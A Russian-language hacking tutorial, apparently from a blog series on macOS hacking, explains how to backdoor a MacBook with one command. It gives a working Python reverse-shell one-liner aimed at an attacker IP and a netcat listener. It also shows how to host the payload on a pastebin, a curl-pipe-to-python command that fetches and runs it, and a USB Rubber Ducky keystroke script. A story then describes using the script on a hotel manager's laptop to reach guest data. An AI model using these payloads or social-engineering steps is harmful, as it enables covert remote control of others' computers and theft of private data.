Мнение о том, что macOS более безопасная операционная система, чем Windows, далеко от истины. С помощью одной небольшой команды хакер может получить контроль над MacBook’ом и управлять им удаленно.

Огромное количество компьютеров Windows, работающих в настоящее время по всему миру, — это очень лакомый кусочек для хакеров, разработчиков вирусов и баунтихантеров («охотников за багами»), которые хотят заработать на обнаружении в Windows 10 уязвимостей «нулевого дня». Вот так и получается такое большое количество новостей, связанных с эксплуатацией уязвимостей Windows 10, хотя macOS вполне может быть такой же уязвимой.

Когда дело доходит до взлома Mac, в ход идут однострочные полезные нагрузки, которые просто создают подключение к MacBook и позволяют злоумышленнику выполнять команды удаленно. Опытный Python-кодер может запросто составить сложный скрипт для фильтрации конфиденциальных данных и записи звука через микрофон в реальном времени, стримить запись рабочего стола и шпионить за целью или может автоматизировать выполнение множества пост-эксплуатационных атак.

Этой статьей мы начинаем новую мини-серию в нашей коллекции по Хакингу macOS. Мы представим вам несколько однострочных команд для взлома macOS. Вот только одна команда, способная создавать бэкдор и уклоняться от антивирусного программного обеспечения в процессе его создания:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);

Эта Python-команда не будет отмечена брандмауэром macOS (с включенной опцией о блокировке всех входящих соединений) или антивирусами, такими как AVG и Avast, как злонамеренная или подозрительная, поскольку Python не является вирусом. Python — одна из нескольких технологий, встроенных в операционную систему macOS, которую хакеры могут использовать, подобно тому, как они это делают с PowerShell, вполне законным инструментом, предназначенным для администрирования Windows.

Эта Python-команда длинновата, поэтому мы покажем, как работать с длинными командами и сложными полезными нагрузками при реальном взломе, но с выдуманным примером того, как это может работать в реальном мире.

Читать также:  Учимся поднимать собственный VPN на сервере

Шаг 1. Запустите сервер Netcat

Настройте Netcat (nc) для прослушивания (-l) всех новых входящих соединений на порту (-p) 8080. Netcat начнет прослушивать каждый доступный интерфейс.

nc -l-p 8080

Шаг 2. Сохраните полезную нагрузку

Сохраните приведенный ниже Python-код как файл с именем payload.py. Это можно сделать с помощью nano или того текстового редактора, который вам больше нравится.

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);

Если эта команда запущена на удаленном MacBook’е, где используется виртуальный частный сервер (VPS), то обязательно измените IP-адрес хакера (1.2.3.4) на IP-адрес сервера. Для локальных сетей, где система хакера находится в той же сети, что и MacBook, Netcat будет доступен при использовании локального IP-адреса хакера (например, 192.168.1.18). Номер порта (8080) можно изменить на любой в диапазоне от 1024 до 65535.

Шаг 3. Загрузите полезную нагрузку на Pastebin

Загрузите код Python в Pastebin. Мы предпочитаем Pb, это практически тот же Pastebin, только для командной строки. Он удобен тем, что у него короткое имя домена и он дает возможность называть пасты. Например, если нам нужно загрузить туда Python-скрипт, то мы используем приведенную ниже команду cURL.

cat payload.py | curl -F [email protected] https://ptpb.pw/~PasteNameHere

Здесь мы используем команду cat для чтения файла Python и направления его (|) в команду cURL, которая берет данные (-F [email protected]) и отправляет их на сервер pb по URI «PasteNameHere». Затем Pastebin выведет в терминале данные, подтверждающие создание пасты.

cat payload.py | curl -F [email protected] https://ptpb.pw/~PasteNameHere

digest: a1a045f5546347f5cbf0181328ce4d77550f6ff7
label: ~PasteNameHere
long: AKGgRfVUY0f1y_AYEyjOTXdVD2_3
short: D2_3
size: 7938
status: created
url: https://ptpb.pw/~PasteNameHere
uuid: xxxxxxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

Теперь просто зайдя на веб-страницу по этому URL-адресу, любой может посмотреть код этой полезной нагрузки на Python’е. Название пасты может быть любым. Если бы мы хотели создать пасту, используя наше имя пользователя, то команда была бы такой:

cat payload.py | curl -F [email protected] https://ptpb.pw/~tokyoneon

Шаг 4. Хакните все MacBook’и

Начиная с этого момента, любой MacBook можно будет взломать, используя команду ниже. Она довольно проста для запоминания. Команда cURL загрузит пасту (stager), содержащую код Python, и выполнит ее в фоновом процессе.

curl ptpb.pw/~tokyoneon | python - &

Социальная инженерия

Реальный вызов — это социальный аспект такой атаки. Как хакер может обманом вынудить кого-то запустить вредоносный код? На этих выходных мы немного развлеклись и составили простенький сценарий в виде короткой истории, которая может проиллюстрировать взлом macOS с помощью одной команды.

Читать также:  Как настроить Homebrew для установки и обновления инструментов с открытым исходным кодом на Mac OS (Часть 5)

Хотя эта история и является полностью выдуманной и гипотетической, мы тестировали описанную выше атаку против macOS High Sierra, где был установлен Avast (или AVG). Все персонажи были названы в честь знаменитых хакеров.

Менеджер отеля и «Резиновая уточка»

Хакеру хотелось получить доступ к базе данных отелей высшего класса. База содержала информацию о частных клиентах. Чтобы приблизиться к персоналу отеля и их внутренним сетям, хакер решил провести вечер в отеле под псевдонимом «Натали Нахай».

Когда Натали вошла в отель, она не знала, что обычный служащий отеля на ресепшене сегодня заболел. А это означало, что в течение нескольких часов в качестве консьержа работал помощник менеджера отеля. Подойдя к стойке ресепшена, Натали увидела бейдж консьержа, на котором было написано: «Менеджер Кристофер Хаднаги». На бейдже также был логотип отеля.

«Добрый вечер, добро пожаловать в Хакнутый Отель! Чем могу вам помочь?» — спросил Кристофер с сияющей улыбкой.

«Привет Крис, — сказала Натали, сократив его полное имя, пытаясь создать неформальный тон для разговора, — я бы хотела забронировать номер на ночь».

Когда Кристофер начал регистрировать нового клиента на терминале с сенсорным экраном (PoS), Натали увидела открытый MacBook на столе регистратора. «О, это последняя модель MacBook?» — спросила Натали, завязывая разговор и незаметно пытаясь найти в кошельке USB-уточку с надписью «macOS». Полезная нагрузка USB-уточки была специально разработана для создания бэкдора, который обеспечил бы ей удаленный доступ к этому MacBook’у.

DELAY 1500
GUI SPACE
DELAY 350
STRING terminal
DELAY 100
ENTER
DELAY 1000
STRING curl ptpb.pw/~tokyoneon | python - &
ENTER
GUI q

«Нет, не совсем, — сказал он с усмешкой, — это более старый, который я использую для работы, но я хотел бы его обновить». Затем он прервал себя: «Какой номер вы хотели бы забронировать?»

Читать также:  Как управлять устройствами Android с любого компьютера

«Хм, а какие есть варианты?» — спросила Натали, закрывая ладонью USB-уточку, и выискивая момент, чтобы вставить ее в MacBook менеджера.

«Ну, наши номера начинаются от 425 долларов за ночь. Это одна кровать размера queen-size и одна ванная комната. В стоимость также включен завтрак и доступ к нашему бассейну». Менеджер рассказал об особенностях и услугах, включенных в различные варианты бронирования и о предложениях отеля. Чтобы создать возможность вставить USB-уточку в его MacBook, Натали спросила: «У вас случайно не найдется буклета с описанием всех вариантов? Понимаете ли, моя мама прилетает сегодня вечером, и я хотела бы убедиться, что нам будет удобно».

«Конечно, найдется, — ответил Кристофер, поворачиваясь к столу за буклетом, — ой, видимо все закончились. Дайте мне пару минут, я принесу еще».

Менеджер вышел из-за стойки администратора и ушел в запертую комнату в паре метров от ресепшена. Натали потянулась к столу, вставила USB-накопитель в MacBook, который был таким одиноким и беззащитным в этом жестоком мире. Через две секунды окно терминала открылось, а свет на USB-порту изменился с красного на зеленый, показывая, что инъекция прошла успешно.

Натали вытащила USB-уточку из MacBook’а и приняла непринужденный вид. Через несколько секунд Кристофер вернулся из кладовки с парой буклетов.

«Вот, пожалуйста, один экземпляр для вас и один — для вашей мамы», — сказал он с улыбкой.

Приходите еще за новой порцией однострочных полезных нагрузок

Это всего лишь вымышленный пример того, как кто-то может с помощью простой команды хакнуть MacBook или Mac. Есть еще много ситуаций, в которых хакер может получить доступ к Mac, и запустить на нем полезную нагрузку, не вызывая подозрений. В следующих статьях мы расскажем, как использовать менее известные программы, встроенные в macOS, для создания бэкдоров в MacBook’ах.

Отказ от ответственности: Эта статья написана только для образовательных целей. Автор или издатель не публиковали эту статью для вредоносных целей. Если читатели хотели бы воспользоваться информацией для личной выгоды, то автор и издатель не несут ответственность за любой причиненный вред или ущерб.
Показать больше в Обучение

Оставить комментарий

Проверьте также

4 простых способа защитить смартфон Android от вредоносного ПО

Содержание:Способ 1. Не полагайтесь на Google Play ProtectСпособ 2. Проверьте разрешения п…